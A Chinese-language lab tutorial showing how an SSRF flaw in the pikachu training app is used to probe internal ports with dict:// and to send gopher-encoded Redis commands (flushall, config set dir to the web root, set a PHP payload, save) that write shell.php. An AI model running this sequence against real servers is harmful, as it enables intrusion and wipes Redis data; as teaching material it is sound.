SSRF攻击Redis写入webshell

目录

攻击环境设计

redis服务器搭建

dict探测内网端口

利用gopher协议写入webshell


关于ssrf攻击,传送门 -》SSRF漏洞原理与利用方式 。当我们检测出一个网站存在SSRF漏洞利用前提:

  • 知道网站根目录,这里假设知道了根目录
  • 根目录具有写文件的权限

攻击环境设计

redis服务器搭建

进入下载好的redis文件中找到redis.conf文件,将其中的 bind 127.0.01 取消注释,这样从外网就不能探测到redis端口

SSRF攻击Redis写入webshell

然后启动redis,需要携带配置文件启动,否则配置不生效

redis-server.exe ./redis.conf
SSRF攻击Redis写入webshell

此时我们扫描主机的端口,6379是显示没有开放。而这里我们就需要通过ssrf漏洞来探测外放不能探测到的内网端口

SSRF攻击Redis写入webshell

这里就成功搭建了一个内网的redis未授权访问

ssrf漏洞探测

进入到pikachu之ssrf漏洞,点击累了吧

SSRF攻击Redis写入webshell

发现其向另外一个链接发起了请求,此时可以利用dict协议来探测内网端口

SSRF攻击Redis写入webshell

dict探测内网端口

当本机开放了某个端口时,服务器立即响应进行页面刷新

SSRF攻击Redis写入webshell

当内网主机C未开放了某个端口时,页面会等到响应一段时间

SSRF攻击Redis写入webshell

根据这一点,我们判断出了内网开放了6379端口

利用gopher协议写入webshell

gopher协议规则比较复杂,这里需要工具生成gopher

https://github.com/firebroo/sec_tools

使用方法

编辑redis-over-gopher/redis.cmd为redis执行的命令,一句命令一行,比如它给出的例子。config set dir 为web的根目录地址,这里写入phpinfo()

flushall config set dir C:\Users\Administrator.WIN2012\Desktop\phpStudy\WWW config set dbfilename shell.php set 'webshell' '<?php phpinfo();?>' save 

编辑好后运行redis-over-gopher/redis-over-gopher.py

SSRF攻击Redis写入webshell
将生成的payload复制下来,再进行一次url编码

SSRF攻击Redis写入webshell

直接在浏览器漏洞所在url访问payload,或者使用burp发送

SSRF攻击Redis写入webshell

此时查看。发现生成了shell.php文件,访问文件

SSRF攻击Redis写入webshell

版权声明:玥玥 发表于 2021-05-21 21:28:42。
转载请注明:SSRF攻击Redis写入webshell | 女黑客导航